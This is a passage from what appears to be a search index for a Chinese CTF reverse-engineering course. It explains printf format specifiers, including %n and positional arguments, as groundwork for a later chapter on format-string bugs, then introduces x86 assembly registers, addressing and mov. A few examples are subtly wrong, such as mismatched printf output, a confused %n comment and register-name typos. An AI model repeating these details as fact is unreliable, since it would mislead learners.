\u88ab\u5ffd\u7565\uff0c\u5373\u5de6\u5bf9\u9f50\u4f9d\u7136\u7528\u7a7a\u683c\u586b\u5145 \u662f\u4e00\u4e2a\u7528\u6765\u6307\u5b9a\u8f93\u51fa\u5b57\u7b26\u7684\u6700\u5c0f\u4e2a\u6570\u7684\u5341\u8fdb\u5236\u975e\u8d1f\u6574\u6570\u3002\u5982\u679c\u5b9e\u9645\u4f4d\u6570\u591a\u4e8e\u5b9a\u4e49\u7684\u5bbd\u5ea6,\u5219\u6309\u5b9e\u9645\u4f4d\u6570\u8f93\u51fa\uff1b\u5982\u679c\u5b9e\u9645\u4f4d\u6570\u5c11\u4e8e\u5b9a\u4e49\u7684\u5bbd\u5ea6\u5219\u8865\u4ee5\u7a7a\u683c\u6216 0\u3002
\u7cbe\u5ea6\u662f\u7528\u6765\u6307\u793a\u6253\u5370\u5b57\u7b26\u4e2a\u6570\u3001\u5c0f\u6570\u4f4d\u6570\u6216\u8005\u6709\u6548\u6570\u5b57\u4e2a\u6570\u7684\u975e\u8d1f\u5341\u8fdb\u5236\u6574\u6570\u3002\u5bf9\u4e8e d
\u3001i
\u3001u
\u3001x
\u3001o
\u7684\u6574\u578b\u6570\u503c\uff0c\u662f\u6307\u6700\u5c0f\u6570\u5b57\u4f4d\u6570\uff0c\u4e0d\u8db3\u7684\u4f4d\u8981\u5728\u5de6\u4fa7\u8865 0\uff0c\u5982\u679c\u8d85\u8fc7\u4e5f\u4e0d\u622a\u65ad\uff0c\u7f3a\u7701\u503c\u4e3a 1\u3002\u5bf9\u4e8e a
, A
, e
, E
, f
, F
\u7684\u6d6e\u70b9\u6570\u503c\uff0c\u662f\u6307\u5c0f\u6570\u70b9\u53f3\u8fb9\u663e\u793a\u7684\u6570\u5b57\u4f4d\u6570\uff0c\u5fc5\u8981\u65f6\u56db\u820d\u4e94\u5165\uff1b\u7f3a\u7701\u503c\u4e3a 6\u3002\u5bf9\u4e8e g
, G
\u7684\u6d6e\u70b9\u6570\u503c\uff0c\u662f\u6307\u6709\u6548\u6570\u5b57\u7684\u6700\u5927\u4f4d\u6570\u3002\u5bf9\u4e8e s
\u7684\u5b57\u7b26\u4e32\u7c7b\u578b\uff0c\u662f\u6307\u8f93\u51fa\u7684\u5b57\u8282\u7684\u4e0a\u9650\uff0c\u8d85\u51fa\u9650\u5236\u7684\u5176\u5b83\u5b57\u7b26\u5c06\u88ab\u622a\u65ad\u3002\u5982\u679c\u57df\u5bbd\u4e3a *
\uff0c\u5219\u7531\u5bf9\u5e94\u7684\u51fd\u6570\u53c2\u6570\u7684\u503c\u4e3a\u5f53\u524d\u57df\u5bbd\u3002\u5982\u679c\u4ec5\u7ed9\u51fa\u4e86\u5c0f\u6570\u70b9\uff0c\u5219\u57df\u5bbd\u4e3a 0\u3002
hh
\u5bf9\u4e8e\u6574\u6570\u7c7b\u578b\uff0cprintf
\u671f\u5f85\u4e00\u4e2a\u4ece char
\u63d0\u5347\u7684 int
\u6574\u578b\u53c2\u6570 h
\u5bf9\u4e8e\u6574\u6570\u7c7b\u578b\uff0cprintf
\u671f\u5f85\u4e00\u4e2a\u4ece short
\u63d0\u5347\u7684 int
\u6574\u578b\u53c2\u6570 l
\u5bf9\u4e8e\u6574\u6570\u7c7b\u578b\uff0cprintf
\u671f\u5f85\u4e00\u4e2a long
\u6574\u578b\u53c2\u6570\u3002\u5bf9\u4e8e\u6d6e\u70b9\u7c7b\u578b\uff0cprintf
\u671f\u5f85\u4e00\u4e2a double
\u6574\u578b\u53c2\u6570\u3002\u5bf9\u4e8e\u5b57\u7b26\u4e32 s
\u7c7b\u578b\uff0cprintf
\u671f\u5f85\u4e00\u4e2a wchar_t
\u6307\u9488\u53c2\u6570\u3002\u5bf9\u4e8e\u5b57\u7b26 c
\u7c7b\u578b\uff0cprintf
\u671f\u5f85\u4e00\u4e2a wint_t
\u578b\u7684\u53c2\u6570 ll
\u5bf9\u4e8e\u6574\u6570\u7c7b\u578b\uff0cprintf
\u671f\u5f85\u4e00\u4e2a long long
\u6574\u578b\u53c2\u6570\u3002Microsoft \u4e5f\u53ef\u4ee5\u4f7f\u7528 I64
L
\u5bf9\u4e8e\u6d6e\u70b9\u7c7b\u578b\uff0cprintf
\u671f\u5f85\u4e00\u4e2a long double
\u6574\u578b\u53c2\u6570 z
\u5bf9\u4e8e\u6574\u6570\u7c7b\u578b\uff0cprintf
\u671f\u5f85\u4e00\u4e2a size_t
\u6574\u578b\u53c2\u6570 j
\u5bf9\u4e8e\u6574\u6570\u7c7b\u578b\uff0cprintf
\u671f\u5f85\u4e00\u4e2a intmax_t
\u6574\u578b\u53c2\u6570 t
\u5bf9\u4e8e\u6574\u6570\u7c7b\u578b\uff0cprintf
\u671f\u5f85\u4e00\u4e2a ptrdiff_t
\u6574\u578b\u53c2\u6570"},{"location":"Training/Material/Reverse/#_10","title":"\u4f8b\u5b50","text":"printf(\"Hello %%\"); // \"Hello %\"\nprintf(\"Hello World!\"); // \"Hello World!\"\nprintf(\"Number: %d\", 123); // \"Number: 123\"\nprintf(\"%s %s\", \"Format\", \"Strings\"); // \"Format Strings\"\n\nprintf(\"%12c\", 'A'); // \" A\"\nprintf(\"%16s\", \"Hello\"); // \" Hello!\"\n\nint n;\nprintf(\"%12c%n\", 'A', &n); // n = 12\nprintf(\"%16s%n\", \"Hello!\", &n); // n = 16\n\nprintf(\"%2$s %1$s\", \"Format\", \"Strings\"); // \"Strings Format\"\nprintf(\"%42c%1$n\", &n); // \u9996\u5148\u8f93\u51fa41\u4e2a\u7a7a\u683c\uff0c\u7136\u540e\u8f93\u51fa n \u7684\u4f4e\u516b\u4f4d\u5730\u5740\u4f5c\u4e3a\u4e00\u4e2a\u5b57\u7b26\n
\u8fd9\u91cc\u6211\u4eec\u5bf9\u683c\u5f0f\u5316\u8f93\u51fa\u51fd\u6570\u548c\u683c\u5f0f\u5b57\u7b26\u4e32\u6709\u4e86\u4e00\u4e2a\u8be6\u7ec6\u7684\u8ba4\u8bc6\uff0c\u540e\u9762\u7684\u7ae0\u8282\u4e2d\u6211\u4eec\u4f1a\u4ecb\u7ecd\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u6f0f\u6d1e\u7684\u5185\u5bb9\u3002
"},{"location":"Training/Material/Reverse/#_11","title":"\u6c47\u7f16\u8bed\u8a00","text":"mov
\u548c lea
\u6307\u4ee4setx
\u548cmovx
\u73b0\u4ee3 ( 386\u53ca\u4ee5\u4e0a\u7684\u673a\u5668 )x86 \u5904\u7406\u5668\u6709 8 \u4e2a 32 \u4f4d\u901a\u7528\u5bc4\u5b58\u5668, \u5982\u56fe 1 \u6240\u793a.
\u8fd9\u4e9b\u5bc4\u5b58\u5668\u7684\u540d\u5b57\u90fd\u662f\u6709\u70b9\u5386\u53f2\u7684, \u4f8b\u5982 EAX \u8fc7\u53bb\u88ab\u79f0\u4e3a \u7d2f\u52a0\u5668, \u56e0\u4e3a\u5b83\u88ab\u7528\u6765\u4f5c\u5f88\u591a\u7b97\u672f\u8fd0\u7b97, \u8fd8\u6709 ECX
\u88ab\u79f0\u4e3a \u8ba1\u6570\u5668 , \u56e0\u4e3a\u5b83\u88ab\u7528\u6765\u4fdd\u5b58\u5faa\u73af\u7684\u7d22\u5f15 ( \u5c31\u662f\u5faa\u73af\u6b21\u6570 ). \u5c3d\u7ba1\u5927\u591a\u662f\u5bc4\u5b58\u5668\u5728\u73b0\u4ee3\u6307\u4ee4\u96c6\u4e2d\u5df2\u7ecf\u5931\u53bb\u4e86\u5b83\u4eec\u7684\u7279\u6b8a\u7528\u9014, \u4f46\u662f\u6309\u7167\u60ef\u4f8b, \u5176\u4e2d\u6709\u4e24\u4e2a\u5bc4\u5b58\u5668\u8fd8\u662f\u6709\u5b83\u4eec\u7684\u7279\u6b8a\u7528\u9014 ---ESP
\u548c EBP.
\u5bf9\u4e8e EAS
, EBX
, ECX
\u8fd8\u6709 EDX
\u5bc4\u5b58\u5668, \u5b83\u4eec\u53ef\u4ee5\u88ab\u5206\u6bb5\u5f00\u6765\u4f7f\u7528. \u4f8b\u5982, \u53ef\u4ee5\u5c06 EAX
\u7684\u6700\u4f4e\u7684 2 \u4f4d\u5b57\u8282\u89c6\u4e3a 16 \u4f4d\u5bc4\u5b58\u5668 ( AX
). \u8fd8\u53ef\u4ee5\u5c06 AX
\u7684\u6700\u4f4e\u4f4d\u7684 1 \u4e2a\u5b57\u8282\u770b\u6210 8 \u4f4d\u5bc4\u5b58\u5668\u6765\u7528 ( AL
), \u5f53\u7136 AX
\u7684\u9ad8\u4f4d\u7684 1 \u4e2a\u5b57\u8282\u4e5f\u53ef\u4ee5\u770b\u6210\u662f\u4e00\u4e2a 8 \u4f4d\u5bc4\u5b58\u5668 ( AH
). \u8fd9\u4e9b\u540d\u79f0\u6709\u5b83\u4eec\u76f8\u5bf9\u5e94\u7684\u7269\u7406\u5bc4\u5b58\u5668. \u5f53\u4e24\u4e2a\u5b57\u8282\u5927\u5c0f\u7684\u6570\u636e\u88ab\u653e\u5230 DX
\u7684\u65f6\u5019, \u539f\u672c DH
, DL
\u548c EDX
\u7684\u6570\u636e\u4f1a\u53d7\u5230\u5f71\u54cd ( \u88ab\u8986\u76d6\u4e4b\u7c7b\u7684 ). \u8fd9\u4e9b \" \u5b50\u5bc4\u5b58\u5668 \" \u4e3b\u8981\u6765\u81ea\u4e8e\u6bd4\u8f83\u4e45\u8fdc\u7684 16 \u4f4d\u7248\u672c\u6307\u4ee4\u96c6. \u7136\u800c, \u59dc\u8fd8\u662f\u8001\u7684\u8fa3, \u5728\u5904\u7406\u5c0f\u4e8e 32 \u4f4d\u7684\u6570\u636e\u7684\u65f6\u5019, \u6bd4\u5982 1 \u4e2a\u5b57\u8282\u7684 ASCII \u5b57\u7b26, \u5b83\u4eec\u6709\u65f6\u4f1a\u5f88\u65b9\u4fbf.
\u4f60\u53ef\u4ee5\u7528\u7279\u6b8a\u7684 x86 \u6c47\u7f16\u6307\u4ee4\u5728\u5185\u5b58\u4e2d\u58f0\u660e\u9759\u6001\u6570\u636e\u533a\u57df ( \u7c7b\u4f3c\u4e8e\u5168\u5c40\u53d8\u91cf ). .data
\u6307\u4ee4\u7528\u6765\u58f0\u660e\u6570\u636e. \u6839\u636e\u8fd9\u6761\u6307\u4ee4, .byte
, .short
\u548c .long
\u53ef\u4ee5\u5206\u522b\u7528\u6765\u58f0\u660e 1 \u4e2a\u5b57\u8282, 2 \u4e2a\u5b57\u8282\u548c 4 \u4e2a\u5b57\u8282\u7684\u6570\u636e. \u6211\u4eec\u53ef\u4ee5\u7ed9\u5b83\u4eec\u6253\u4e2a\u6807\u7b7e, \u7528\u6765\u5f15\u7528\u521b\u5efa\u7684\u6570\u636e\u7684\u5730\u5740. \u6807\u7b7e\u5728\u6c47\u7f16\u8bed\u8a00\u4e2d\u662f\u975e\u5e38\u6709\u7528\u7684, \u5b83\u4eec\u7ed9\u5185\u5b58\u5730\u5740\u547d\u540d, \u7136\u540e\u7f16\u8bd1\u5668 \u548c\u94fe\u63a5\u5668 \u5c06\u5176 \" \u7ffb\u8bd1 \" \u6210\u8ba1\u7b97\u673a\u7406\u89e3\u7684\u673a\u5668\u4ee3\u7801. \u8fd9\u4e2a\u8ddf\u7528\u540d\u79f0\u6765\u58f0\u660e\u53d8\u91cf\u5f88\u7c7b\u4f3c, \u4f46\u662f\u5b83\u9075\u5b88\u4e00\u4e9b\u8f83\u4f4e\u7ea7\u522b\u7684\u89c4\u5219. \u4f8b\u5982, \u6309\u987a\u5e8f\u58f0\u660e\u7684\u4f4d\u7f6e\u5c06\u5f7c\u6b64\u76f8\u90bb\u5730\u5b58\u50a8\u5728\u5185\u5b58\u4e2d. \u8fd9\u8bdd\u4e5f\u8bb8\u6709\u70b9\u7ed5, \u5c31\u662f\u6309\u7167\u987a\u5e8f\u6253\u7684\u6807\u7b7e, \u8fd9\u4e9b\u6807\u7b7e\u5bf9\u5e94\u7684\u6570\u636e\u4e5f\u4f1a\u6309\u7167\u987a\u5e8f\u88ab\u653e\u5230\u5185\u5b58\u4e2d.
\u4e00\u4e9b\u4f8b\u5b50 :
.data\nvar :\n .byte 64 ;\u58f0\u660e\u4e00\u4e2a\u5b57\u8282\u578b\u53d8\u91cf var, \u5176\u6240\u5bf9\u5e94\u7684\u6570\u636e\u662f64\n .byte 10 ;\u58f0\u660e\u4e00\u4e2a\u6570\u636e 10, \u8fd9\u4e2a\u6570\u636e\u6ca1\u6709\u6240\u8c13\u7684 \" \u6807\u7b7e \", \u5b83\u7684\u5185\u5b58\u5730\u5740\u5c31\u662f var+1.\n\nx :\n .short 42 ;\u58f0\u660e\u4e00\u4e2a\u5927\u5c0f\u4e3a 2 \u4e2a\u5b57\u8282\u7684\u6570\u636e, \u8fd9\u4e2a\u6570\u636e\u6709\u4e2a\u6807\u7b7e \" x \"\n\ny :\n .long 30000 ;\u58f0\u660e\u4e00\u4e2a\u5927\u5c0f\u4e3a 4 \u4e2a\u5b57\u8282\u7684\u6570\u636e, \u8fd9\u4e2a\u6570\u636e\u6807\u7b7e\u662f \" y \", y \u7684\u503c\u88ab\u521d\u59cb\u5316\u4e3a 30000\n
\u4e0e\u9ad8\u7ea7\u8bed\u8a00\u4e0d\u540c, \u9ad8\u7ea7\u8bed\u8a00\u7684\u6570\u7ec4\u53ef\u4ee5\u5177\u6709\u591a\u4e2a\u7ef4\u5ea6\u5e76\u4e14\u53ef\u4ee5\u901a\u8fc7\u7d22\u5f15\u6765\u8bbf\u95ee, x86 \u6c47\u7f16\u8bed\u8a00\u7684\u6570\u7ec4\u53ea\u662f\u5728\u5185\u5b58\u4e2d\u8fde\u7eed\u7684\" \u5355\u5143\u683c \". \u4f60\u53ea\u9700\u8981\u628a\u6570\u503c\u5217\u51fa\u6765\u5c31\u53ef\u4ee5\u58f0\u660e\u4e00\u4e2a\u6570\u7ec4, \u6bd4\u5982\u4e0b\u9762\u7684\u7b2c\u4e00\u4e2a\u4f8b\u5b50. \u5bf9\u4e8e\u4e00\u4e9b\u5b57\u8282\u578b\u6570\u7ec4\u7684\u7279\u6b8a\u60c5\u51b5, \u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u5b57\u7b26\u4e32. \u5982\u679c\u8981\u5728\u5927\u591a\u6570\u7684\u5185\u5b58\u586b\u5145 0, \u4f60\u53ef\u4ee5\u4f7f\u7528.zero
\u6307\u4ee4.
\u4f8b\u5b50 :
s :\n .long 1, 2, 3 ;\u58f0\u660e 3 \u4e2a\u5927\u5c0f\u4e3a 4 \u5b57\u8282\u7684\u6570\u636e 1, 2, 3. \u5185\u5b58\u4e2d s+8 \u8fd9\u4e2a\u6807\u7b7e\u6240\u5bf9\u5e94\u7684\u6570\u636e\u5c31\u662f 3.\n\nbarr:\n .zero 10 ;\u4ece barr \u8fd9\u4e2a\u6807\u7b7e\u7684\u4f4d\u7f6e\u5f00\u59cb, \u58f0\u660e 10 \u4e2a\u5b57\u8282\u7684\u6570\u636e, \u8fd9\u4e9b\u6570\u636e\u88ab\u521d\u59cb\u5316\u4e3a 0.\n\nstr :\n .string \"hello\" ;\u4ece str \u8fd9\u4e2a\u6807\u7b7e\u7684\u4f4d\u7f6e\u5f00\u59cb, \u58f0\u660e 6 \u4e2a\u5b57\u8282\u7684\u6570\u636e, \u5373 hello \u5bf9\u5e94\u7684 ASCII \u503c, \u8fd9\u6700\u540e\u8fd8\u8ddf\u6709\u4e00\u4e2a nul(0) \u5b57\u8282.\n
"},{"location":"Training/Material/Reverse/#3332","title":"3.3.3.2 \u5185\u5b58\u5bfb\u5740","text":"\u73b0\u4ee3x86\u517c\u5bb9\u5904\u7406\u5668\u80fd\u591f\u5bfb\u5740\u9ad8\u8fbe 2^32 \u5b57\u8282\u7684\u5185\u5b58 : \u5185\u5b58\u5730\u5740\u4e3a 32 \u4f4d\u5bbd. \u5728\u4e0a\u9762\u7684\u793a\u4f8b\u4e2d\uff0c\u6211\u4eec\u4f7f\u7528\u6807\u7b7e\u6765\u5f15\u7528\u5185\u5b58\u533a\u57df\uff0c\u8fd9\u4e9b\u6807\u7b7e\u5b9e\u9645\u4e0a\u88ab 32 \u4f4d\u6570\u636e\u7684\u6c47\u7f16\u7a0b\u5e8f\u66ff\u6362\uff0c\u8fd9\u4e9b\u6570\u636e\u6307\u5b9a\u4e86\u5185\u5b58\u4e2d\u7684\u5730\u5740. \u9664\u4e86\u652f\u6301\u901a\u8fc7\u6807\u7b7e\uff08\u5373\u5e38\u6570\u503c\uff09\u5f15\u7528\u5b58\u50a8\u533a\u57df\u4e4b\u5916\uff0cx86\u63d0\u4f9b\u4e86\u4e00\u79cd\u7075\u6d3b\u7684\u8ba1\u7b97\u548c\u5f15\u7528\u5185\u5b58\u5730\u5740\u7684\u65b9\u6848 \uff1a\u6700\u591a\u53ef\u5c06\u4e24\u4e2a32\u4f4d\u5bc4\u5b58\u5668\u548c\u4e00\u4e2a32\u4f4d\u6709\u7b26\u53f7\u5e38\u91cf\u76f8\u52a0\uff0c\u4ee5\u8ba1\u7b97\u5b58\u50a8\u5668\u5730\u5740. \u5176\u4e2d\u4e00\u4e2a\u5bc4\u5b58\u5668\u53ef\u4ee5\u9009\u62e9\u9884\u5148\u4e58\u4ee5 2, 4 \u6216 8.
\u5bfb\u5740\u6a21\u5f0f\u53ef\u4ee5\u548c\u8bb8\u591a x86 \u6307\u4ee4\u4e00\u8d77\u4f7f\u7528 ( \u6211\u4eec\u5c06\u5728\u4e0b\u4e00\u8282\u5bf9\u5b83\u4eec\u8fdb\u884c\u8bb2\u89e3 ). \u8fd9\u91cc\u6211\u4eec\u7528mov
\u6307\u4ee4\u5728\u5bc4\u5b58\u5668\u548c\u5185\u5b58\u4e2d\u79fb\u52a8\u6570\u636e\u5f53\u4f5c\u4f8b\u5b50. \u8fd9\u4e2a\u6307\u4ee4\u6709\u4e24\u4e2a\u53c2\u6570, \u7b2c\u4e00\u4e2a\u662f\u6570\u636e\u7684\u6765\u6e90, \u7b2c\u4e8c\u4e2a\u662f\u6570\u636e\u7684\u53bb\u5411.
\u4e00\u4e9bmov
\u7684\u4f8b\u5b50 :
mov (%ebx), %eax ;\u4ece EBX \u4e2d\u7684\u5185\u5b58\u5730\u5740\u52a0\u8f7d 4 \u4e2a\u5b57\u8282\u7684\u6570\u636e\u5230 EAX, \u5c31\u662f\u628a EBX \u4e2d\u7684\u5185\u5bb9\u5f53\u4f5c\u6807\u7b7e, \u8fd9\u4e2a\u6807\u7b7e\u5728\u5185\u5b58\u4e2d\u5bf9\u5e94\u7684\u6570\u636e\u653e\u5230 EAX \u4e2d\n;\u540e\u9762\u5982\u679c\u6ca1\u6709\u8bf4\u660e\u7684\u8bdd, (%ebx)\u5c31\u8868\u793a\u5bc4\u5b58\u5668ebx\u4e2d\u5b58\u50a8\u7684\u5185\u5bb9\n\nmov %ebx, var(,1) ; \u5c06 EBX \u4e2d\u7684 4 \u4e2a\u5b57\u8282\u5927\u5c0f\u7684\u6570\u636e\u79fb\u52a8\u7684\u5185\u5b58\u4e2d\u6807\u7b7e\u4e3a var \u7684\u5730\u65b9\u53bb.( var \u662f\u4e00\u4e2a 32 \u4f4d\u5e38\u6570).\n\nmov (%esi, %ebx, 4), %edx ;\u5c06\u5185\u5b58\u4e2d\u6807\u7b7e\u4e3a ESI+4*EBX \u6240\u5bf9\u5e94\u7684 4 \u4e2a\u5b57\u8282\u5927\u5c0f\u7684\u6570\u636e\u79fb\u52a8\u5230 EDX\u4e2d.\n
\u4e00\u4e9b\u9519\u8bef\u7684\u4f8b\u5b50:
mov (%ebx, %ecx, -1), %eax ;\u8fd9\u4e2a\u53ea\u80fd\u628a\u5bc4\u5b58\u5668\u4e2d\u7684\u503c\u52a0\u4e0a\u4e00\u904d.\nmov %ebx,(%eax, %esi, %edi, 1) ;\u5728\u5730\u5740\u8ba1\u7b97\u4e2d, \u6700\u591a\u53ea\u80fd\u51fa\u73b0 2 \u4e2a\u5bc4\u5b58\u5668, \u8fd9\u91cc\u5374\u6709 3 \u4e2a\u5bc4\u5b58\u5668.\n
"},{"location":"Training/Material/Reverse/#3333","title":"3.3.3.3 \u64cd\u4f5c\u540e\u7f00","text":"\u901a\u5e38, \u7ed9\u5b9a\u5185\u5b58\u5730\u5740\u7684\u6570\u636e\u7c7b\u578b\u53ef\u4ee5\u4ece\u5f15\u7528\u5b83\u7684\u6c47\u7f16\u6307\u4ee4\u63a8\u65ad\u51fa\u6765. \u4f8b\u5982, \u5728\u4e0a\u9762\u7684\u6307\u4ee4\u4e2d, \u4f60\u53ef\u4ee5\u4ece\u5bc4\u5b58\u5668\u64cd\u4f5c\u6570\u7684\u5927\u5c0f\u6765\u63a8\u51fa\u5176\u6240\u5360\u7684\u5185\u5b58\u5927\u5c0f. \u5f53\u6211\u4eec\u52a0\u8f7d\u4e00\u4e2a 32 \u4f4d\u7684\u5bc4\u5b58\u5668\u7684\u65f6\u5019, \u7f16\u8bd1\u5668\u5c31\u53ef\u4ee5\u63a8\u65ad\u51fa\u6211\u4eec\u7528\u5230\u7684\u5185\u5b58\u5927\u5c0f\u662f 4 \u4e2a\u5b57\u8282\u5bbd. \u5f53\u6211\u4eec\u5c06 1 \u4e2a\u5b57\u8282\u5bbd\u7684\u5bc4\u5b58\u5668\u7684\u503c\u4fdd\u5b58\u5230\u5185\u5b58\u4e2d\u65f6, \u7f16\u8bd1\u5668\u53ef\u4ee5\u63a8\u65ad\u51fa\u6211\u4eec\u60f3\u8981\u5728\u5185\u5b58\u4e2d\u5f04\u4e2a 1 \u5b57\u8282\u5927\u5c0f\u7684 \" \u5751 \" \u6765\u4fdd\u5b58\u6211\u4eec\u7684\u6570\u636e.
\u7136\u800c\u5728\u67d0\u4e9b\u60c5\u51b5\u4e0b, \u6211\u4eec\u7528\u5230\u7684\u5185\u5b58\u4e2d \" \u5751 \" \u7684\u5927\u5c0f\u662f\u4e0d\u660e\u786e\u7684. \u6bd4\u5982\u8bf4\u8fd9\u6761\u6307\u4ee4 mov $2,(%ebx)
. \u8fd9\u6761\u6307\u4ee4\u662f\u5426\u5e94\u8be5\u5c06 \" 2 \" \u8fd9\u4e2a\u503c\u79fb\u52a8\u5230 EBX \u4e2d\u7684\u503c\u6240\u4ee3\u8868\u7684\u5730\u5740 \" \u5751 \" \u7684\u5355\u4e2a\u5b57\u8282\u4e2d ? \u4e5f\u8bb8\u5b83\u8868\u793a\u7684\u662f\u5c06 32 \u4f4d\u6574\u6570\u8868\u793a\u7684 2 \u79fb\u52a8\u5230\u4ece\u5730\u5740 EBX \u5f00\u59cb\u7684 4 \u5b57\u8282. \u65e2\u7136\u8fd9\u4e24\u4e2a\u89e3\u91ca\u90fd\u6709\u9053\u7406, \u4f46\u8ba1\u7b97\u673a\u6c47\u7f16\u7a0b\u5e8f\u5fc5\u987b\u660e\u786e\u54ea\u4e2a\u89e3\u91ca\u624d\u662f\u6b63\u786e\u7684, \u8ba1\u7b97\u673a\u5f88\u5355\u7eaf\u7684, \u8981\u4e48\u662f\u9519\u7684\u8981\u4e48\u662f\u5bf9\u7684. \u524d\u7f00 b, w, \u548c l \u5c31\u662f\u6765\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\u7684, \u5b83\u4eec\u5206\u522b\u8868\u793a 1, 2 \u548c 4 \u4e2a\u5b57\u8282\u7684\u5927\u5c0f.
\u4e3e\u51e0\u4e2a\u4f8b\u5b50 :
movb $2, (%ebx) ;\u5c06 2 \u79fb\u5165\u5230 ebx \u4e2d\u7684\u503c\u6240\u8868\u793a\u7684\u5730\u5740\u5355\u5143\u4e2d.\nmovw $2, (%ebx) ;\u5c06 16 \u4f4d\u6574\u6570 2 \u79fb\u52a8\u5230 \u4ece ebx \u4e2d\u7684\u503c\u6240\u8868\u793a\u7684\u5730\u5740\u5355\u5143 \u5f00\u59cb\u7684 2 \u4e2a\u5b57\u8282\u4e2d;\u8fd9\u8bdd\u6709\u70b9\u7ed5, \u6240\u4ee5\u6211\u6545\u610f\u5728\u91cc\u9762\u52a0\u4e86\u70b9\u7a7a\u683c, \u65b9\u4fbf\u5927\u5bb6\u7406\u89e3.\nmovl $2,(%ebx) ;\u5c06 32 \u4f4d\u6574\u6570 2 \u79fb\u52a8\u5230 \u4ece ebx\u4e2d\u7684\u503c\u8868\u793a\u7684\u5730\u5740\u5355\u5143 \u5f00\u59cb\u7684 4 \u4e2a\u5b57\u8282\u4e2d.\n
"},{"location":"Training/Material/Reverse/#334-instructions","title":"3.3.4 \u6307\u4ee4 Instructions","text":"\u673a\u5668\u6307\u4ee4\u901a\u5e38\u5206\u4e3a 3 \u7c7b : \u6570\u636e\u79fb\u52a8\u6307\u4ee4, \u903b\u8f91\u8fd0\u7b97\u6307\u4ee4\u548c\u6d41\u7a0b\u63a7\u5236\u6307\u4ee4. \u5728\u672c\u8282\u4e2d, \u6211\u4eec\u5c06\u8bb2\u89e3\u6bcf\u4e00\u79cd\u7c7b\u578b\u7684 x86 \u6307\u4ee4\u4ee5\u53ca\u5b83\u4eec\u7684\u91cd\u8981\u793a\u4f8b. \u5f53\u7136, \u6211\u4eec\u4e0d\u53ef\u80fd\u628a x86 \u6240\u6709\u6307\u4ee4\u8bb2\u5f97\u7279\u522b\u8be6\u7ec6, \u6bd5\u7adf\u7bc7\u5e45\u548c\u6c34\u5e73\u6709\u9650. \u5b8c\u6574\u7684\u6307\u4ee4\u5217\u8868, \u8bf7\u53c2\u9605 intel \u7684\u6307\u4ee4\u96c6\u53c2\u8003\u624b\u518c.
\u6211\u4eec\u5c06\u4f7f\u7528\u4ee5\u4e0b\u7b26\u53f7 :
<reg32 \u4efb\u610f\u7684 32 \u4f4d\u5bc4\u5b58\u5668 (%eax, %ebx, %ecx, %edx, %esi, %edi, %esp \u6216\u8005 %eb)\n<reg16 \u4efb\u610f\u7684 16 \u4f4d\u5bc4\u5b58\u5668 (%ax, %bx, %cx \u6216\u8005 %dx)\n<reg8 \u4efb\u610f\u7684 8 \u4f4d\u5bc4\u5b58\u5668 (%ah, %al, %bh, %bl, %ch, %cl, %dh, %dl)\n<reg \u4efb\u610f\u7684\u5bc4\u5b58\u5668\n<mem \u4e00\u4e2a\u5185\u5b58\u5730\u5740, \u4f8b\u5982 (%eax), 4+var, (%eax, %ebx, 1)\n<con32 32 \u4f4d\u5e38\u6570\n<con16 16 \u4f4d\u5e38\u6570\n<con8 8 \u4f4d\u5e38\u6570\n<con \u4efb\u610f 32\u4f4d, 16 \u4f4d\u6216\u8005 8 \u4f4d\u5e38\u6570\n
\u5728\u6c47\u7f16\u8bed\u8a00\u4e2d, \u7528\u4f5c\u7acb\u5373\u64cd\u4f5c\u6570 \u7684\u6240\u6709\u6807\u7b7e\u548c\u6570\u5b57\u5e38\u91cf ( \u5373\u4e0d\u5728\u8bf8\u59823 (%eax, %ebx, 8)
\u8fd9\u6837\u7684\u5730\u5740\u8ba1\u7b97\u4e2d ) \u603b\u662f\u4ee5\u7f8e\u5143\u7b26\u53f7 $ \u4e3a\u524d\u7f00. \u9700\u8981\u7684\u65f6\u5019, \u524d\u7f00 0x \u8868\u793a\u5341\u516d\u8fdb\u5236\u6570, \u4f8b\u5982$ 0xABC
. \u5982\u679c\u6ca1\u6709\u524d\u7f00, \u5219\u9ed8\u8ba4\u8be5\u6570\u5b57\u4e3a\u5341\u8fdb\u5236\u6570.
mov
\u79fb\u52a8mov
\u6307\u4ee4\u5c06\u6570\u636e\u4ece\u5b83\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570 ( \u5373\u5bc4\u5b58\u5668\u4e2d\u7684\u5185\u5bb9, \u5185\u5b58\u5355\u5143\u4e2d\u7684\u5185\u5bb9, \u6216\u8005\u4e00\u4e2a\u5e38\u6570\u503c ) \u590d\u5236\u5230\u5b83\u7684\u7b2c\u4e8c\u4e2a\u53c2\u6570 ( \u5373\u5bc4\u5b58\u5668\u6216\u8005\u5185\u5b58\u5355\u5143 ). \u5f53\u5bc4\u5b58\u5668\u5230\u5bc4\u5b58\u5668\u4e4b\u95f4\u7684\u6570\u636e\u79fb\u52a8\u662f\u53ef\u884c\u7684\u65f6\u5019, \u76f4\u63a5\u5730\u4ece\u5185\u5b58\u5355\u5143\u4e2d\u5c06\u6570\u636e\u79fb\u52a8\u5230\u53e6\u4e00\u5185\u5b58\u5355\u5143\u4e2d\u662f\u4e0d\u884c\u7684. \u5728\u8fd9\u79cd\u9700\u8981\u5728\u5185\u5b58\u5355\u5143\u4e2d\u4f20\u9012\u6570\u636e\u7684\u60c5\u51b5\u4e0b, \u5b83\u6570\u636e\u6765\u6e90\u7684\u90a3\u4e2a\u5185\u5b58\u5355\u5143\u5fc5\u987b\u9996\u5148\u628a\u90a3\u4e2a\u5185\u5b58\u5355\u5143\u4e2d\u7684\u6570\u636e\u52a0\u8f7d\u5230\u4e00\u4e2a\u5bc4\u5b58\u5668\u4e2d, \u7136\u540e\u624d\u53ef\u4ee5\u901a\u8fc7\u8fd9\u4e2a\u5bc4\u5b58\u5668\u6765\u628a\u6570\u636e\u79fb\u52a8\u5230\u76ee\u6807\u5185\u5b58\u5355\u5143\u4e2d.
mov <reg, <reg\nmov <reg, <mem\nmov <mem, <reg\nmov <con, <reg\nmov <con, <mem\n
mov %ebx, %eax ;\u5c06 EBX \u4e2d\u7684\u503c\u590d\u5236\u5230 EAX \u4e2d\nmov $5, var(,1) ;\u5c06\u6570\u5b57 5 \u5b58\u5230\u5b57\u8282\u578b\u5185\u5b58\u5355\u5143 \" var \"\n
push
\u5165\u6808push
